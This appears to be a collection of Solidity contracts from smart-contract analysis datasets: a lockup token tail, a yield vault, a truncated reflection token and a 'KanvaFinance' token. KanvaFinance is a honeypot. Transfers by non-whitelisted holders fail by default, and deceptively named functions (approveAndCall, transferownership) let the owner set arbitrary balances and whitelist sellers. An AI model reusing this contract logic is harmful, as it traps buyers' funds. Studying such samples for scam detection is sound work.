freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder) public view returns (bool, uint256, uint256, uint256, uint256) { return (locks[_holder], lockupInfo[_holder].lockupBalance, lockupInfo[_holder].releaseTime, lockupInfo[_holder].termOfRound, lockupInfo[_holder].unlockAmountPerRound); } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint(uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(address(0), owner, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { if (lockupInfo[_holder].releaseTime <= now) { return releaseTimeLock(_holder); } return false; } function releaseTimeLock(address _holder) internal returns(bool) { require(locks[_holder]); uint256 releaseAmount = 0; // If lock status of holder is finished, delete lockup info. for(; lockupInfo[_holder].releaseTime <= now ;) { if (lockupInfo[_holder].lockupBalance <= lockupInfo[_holder].unlockAmountPerRound) { releaseAmount = releaseAmount.add(lockupInfo[_holder].lockupBalance); delete lockupInfo[_holder]; locks[_holder] = false; break; } else { releaseAmount = releaseAmount.add(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].lockupBalance = lockupInfo[_holder].lockupBalance.sub(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].releaseTime = lockupInfo[_holder].releaseTime.add(lockupInfo[_holder].termOfRound); } } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } }
231,294
12,114
457dfbe0ec375b9dca28712250cac5cc837313dc487aaac9b32b77870bd168aa
14,256
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/KanvaFinance-0x54698263f0dc9fea49fc4b158e5e523cad7e56a5.sol
2,607
10,344
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KanvaFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
198,623
12,115
8ccb19cb808d4766fde9066f3831e9ebae5baddc8d5223609a01239bf29a55fb
23,369
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/56/565468cfede97e7e936b7b0ded53a5dc60623709_Granary.sol
5,469
15,362
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.6; pragma abicoder v2; //ftm.guru's Universal On-chain TVL Calculator //Source: https://ftm.guru/rawdata/tvl interface ITVL { //Using Version = 6 function p_lpt_coin_usd(address lp) external view returns(uint256); //function p_lpt_usd(address,address) external view returns(uint256); } interface IMasterchef { //Reapers function getReward() external; function getCoverage() external; function getBoosterReward() external; //Staked function balanceOf(address) external view returns(uint256); //Pending function earned(address) external view returns(uint256); function coverageOf(address) external view returns(uint256); //Fund function exit() external; function stake(uint256) external; function withdraw(uint256) external; function emergencyWithdraw(uint256) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); //Uniswap-style Pair (LPT) function getReserves() external view returns (uint112, uint112, uint32); } interface IRouter { function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Granary { using SafeMath for uint256; constructor (address _w, address _m, address _e, address _R, address[] memory _r, string memory _id, address _v) { want=IERC20(_w); mc=IMasterchef(_m); earn=IERC20(_e); router = _R; route = _r; id=_id;//GRAIN#ID utvl=_v; //Approvals //mc to take what it may want IERC20(address(want)).approve(address(mc),uint256(-1)); //router to sell what we earn IERC20(address(earn)).approve(address(router),uint256(-1)); //router to add route[route.length-1] IERC20(_r[_r.length-1]).approve(address(router),uint256(-1)); dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584; treasury = dao; } modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;} struct Elites { address ELITE; uint256 ELITES; } Elites[] public Eliteness; function pushElite(address elite, uint256 elites) public DAO { Eliteness.push(Elites({ELITE:elite,ELITES:elites})); } function pullElite(uint256 n) public DAO { Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop(); } //@xref takeFee=eliteness(msg.sender)?false:true; function eliteness(address u) public view returns(bool) { if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite. for(uint i;i<Eliteness.length;i++){ if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES) { return(true); } } return(false); } function config(//address _w, uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO { allnums[4] = _mw; treasury = _t; //Max 10%, 1e6 = 100% require(_wi<1e5,"!wi: high");allnums[3] = _wi; require(_pf<1e5,"!pf: high");allnums[2] = _pf; require(_df<1e5,"!df: high");allnums[1] = _df; } uint8 RG = 0; modifier rg { require(RG == 0,"!RG"); RG = 1; _; RG = 0; } function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } //Using getter functions to circumvent "Stack too deep!" errors string public id; function name() public view returns(string memory){return(string(abi.encodePacked("kcc.guru/GRAIN/", id)));} function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));} function decimals() public pure returns(uint256){return(18);} uint256 public totalSupply; IERC20 public want; IERC20 public earn; address public router; address[] public route; IMasterchef public mc; bool public emergency = false; address public dao; address public treasury; address public utvl; //Using array to avoid "Stack too deep!" errors uint256[7] public allnums = [ 0, //pid 0 constant 1e3,//df 1 config, <= 10% (1e5), default 0.1% 1e4,//pf 2 config, <= 10% (1e5), default 1% 1e4,//wi 3 config, <= 10% (1e5), default 1% 1e4,//mw 4 config, default 1e4 (near zero) 0, //ct[0] 5 nonce, then constant 0 //ct[1] 6 up only ]; event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function approve(address guy) public returns (bool) { return approve(guy, uint(-1)); } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { require(balanceOf[src] >= wad,"Insufficient Balance"); if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event Compounded(address indexed user, uint256 amount); function deposit(uint256 _amt) public rg { require(!emergency,"Its an emergency. Please don't deposit."); //Some fancy math to take care of Fee-on-Transfer tokens uint256 vbb = want.balanceOf(address(this)); uint256 mcbb = mc.balanceOf(address(this)); require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard"); uint256 vba = want.balanceOf(address(this)); uint256 D = vba.sub(vbb,"Dirty deposit"); mc.stake(D); //Some more fancy math to take care of Deposit Fee uint256 mcba = mc.balanceOf(address(this)); uint256 M = mcba.sub(mcbb,"Dirty stake"); //require(M>mindep,"Deposit Too Low"); uint256 _mint = 0; (totalSupply > 0) // k: SharePerDeposit should be constant before & after // Mint = SharesPerDeposit * IncreaseInDeposit // bal += (totalSupply / oldDeposits) * thisDeposit ? _mint = (M.mul(totalSupply)).div(mcbb) : _mint = M; totalSupply += _mint; uint256 _fee; //allnums[1]===df, deposit fee if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings if(_fee>0)//gas savings { balanceOf[treasury] += _fee; emit Transfer(address(0), treasury, _fee); } balanceOf[msg.sender] += _mint.sub(_fee); emit Transfer(address(0), msg.sender, _mint.sub(_fee)); //hardWork() mc.getReward(); //Not salvage(), to help boost ILP as much as we can. //allnums[4]===mw, min work : smallest harvest if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));} } function withdraw(uint256 _amt) public rg { require(!emergency,"Its an emergency. Use emergencyWithdraw() please."); require(balanceOf[msg.sender] >= _amt,"Insufficient Balance"); //Burn _amt of Vault Tokens balanceOf[msg.sender] -= _amt; uint256 ts = totalSupply; totalSupply -= _amt; emit Transfer(msg.sender, address(0), _amt); uint256 vbb = want.balanceOf(address(this)); uint256 mcbb = mc.balanceOf(address(this)); // W = DepositsPerShare * SharesBurnt uint256 W = (_amt.mul(mcbb)).div(ts); mc.withdraw(W); uint256 vba = want.balanceOf(address(this)); uint256 D = vba.sub(vbb,"Dirty withdrawal"); require(want.transfer(msg.sender,D), "Unable to deboard"); //hardWork() salvage(); //Since ILP resets to 0 on partial withdrawals, best to claim it. if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));} } function doHardWork() public rg { require(eliteness(msg.sender),"Elites only!"); mc.getReward(); //Not salvage(), to help boost ILP as much as we can. require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!"); work(msg.sender); } function salvage() public { //harvest() //we salvage all possible rewards during withdrawals, since there's no point in saving further mc.getReward(); if(mc.coverageOf(address(this))>0){mc.getCoverage();} } function work(address ben) internal { require(!emergency,"Its an emergency. Use emergencyWithdraw() please."); //has inputs from salvage() if this work is done via doHardWork() IRouter R = IRouter(router); IERC20 A = IERC20(route[route.length-1]); uint256 vbb = (earn.balanceOf(address(this))).div(2); R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,route,address(this),block.timestamp); R.addLiquidity(address(A), address(earn), A.balanceOf(address(this)), earn.balanceOf(address(this)), 1, 1, address(this), block.timestamp); uint256 D = want.balanceOf(address(this)); uint256 mcbb = mc.balanceOf(address(this)); mc.stake(D); uint256 mcba = mc.balanceOf(address(this)); uint256 M = mcba.sub(mcbb,"Dirty stake"); //Performance Fee Mint, conserves TVL uint256 _mint = 0; //allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM. if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run allnums[6]=uint64(block.timestamp); (totalSupply > 0) // k: SharePerDeposit should be constant before & after // Mint = SharesPerDeposit * IncreaseInDeposit // bal += (totalSupply / oldDeposits) * thisDeposit ? _mint = (M.mul(totalSupply)).div(mcbb) : _mint = M; //allnums[2] === pf, Performance Fee balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6); //Worker Incentive Mint, conserves TVL address worker = ben == address(this) ? treasury : ben; //allnums[3] === wi, Worker Incentive balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6); totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6)); emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6)); emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6)); } function declareEmergency() public DAO { require(!emergency,"Emergency already declared."); mc.emergencyWithdraw(mc.balanceOf(address(this))); emergency=true; } function revokeEmergency() public DAO { require(emergency,"Emergency not declared."); uint256 D = want.balanceOf(address(this)); mc.stake(D); emergency=false; } function emergencyWithdraw(uint256 _amt) public rg { require(emergency,"Its not an emergency. Use withdraw() instead."); require(balanceOf[msg.sender] >= _amt,"Insufficient Balance"); uint256 ts = totalSupply; //Burn _amt of Vault Tokens balanceOf[msg.sender] -= _amt; totalSupply -= _amt; emit Transfer(msg.sender, address(0), _amt); uint256 vbb = want.balanceOf(address(this)); uint256 W = (_amt.mul(vbb)).div(ts); require(want.transfer(msg.sender,W), "Unable to deboard"); } function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success) { //Generally, there are not supposed to be any tokens in this contract itself: //Upon Deposits, the assets go from User to the MasterChef of Strategy, //Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and //Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy. //Never allow draining main "want" token from the Granary: //Main token can only be withdrawn using the EmergencyWithdraw require(tokenAddress != address(want), "Funds are Safu in emergency!"); if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;} else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);} else return false; } function rescueBooster() public DAO { //In case of Dual farming or promotional rewards are endowed. mc.getBoosterReward(); } //Read-Only Functions //Useful for performance analysis function info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256) { uint256 aum = mc.balanceOf(address(this)) + IERC20(want).balanceOf(address(this)); uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1% return(aum, roi, apy, mc.balanceOf(address(this)), tvl(), mc.earned(address(this)) + mc.coverageOf(address(this))); } //TVL in USD, 1e18===$1. //Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl function tvl() public view returns(uint256) { ITVL tc = ITVL(utvl); uint256 aum = mc.balanceOf(address(this)) + IERC20(want).balanceOf(address(this)); return ((tc.p_lpt_coin_usd(address(want))).mul(aum)).div(1e18); //return ((tc.p_lpt_usd(route[route.length-1],address(want))).mul(aum)).div(1e18); } }
328,395
12,116
0d18c4e0ad676375b84131ac420f23f7bf39e6cc20315df80a0e9dfd06c960ab
18,968
.sol
Solidity
false
368511501
fitmin-finance/fitmin-contract
8aec1024f119fb49a66d8606cc6639a2686405a9
contract/FitminToken.sol
4,967
17,964
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol'; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; contract FitminToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Fitmin Finance Token"; string private _symbol = "FTM"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000 * 10**9 * 10**9; uint256 private numTokensSellToAddToLiquidity = 5000 * 10**9 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initUniswapRoute() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = 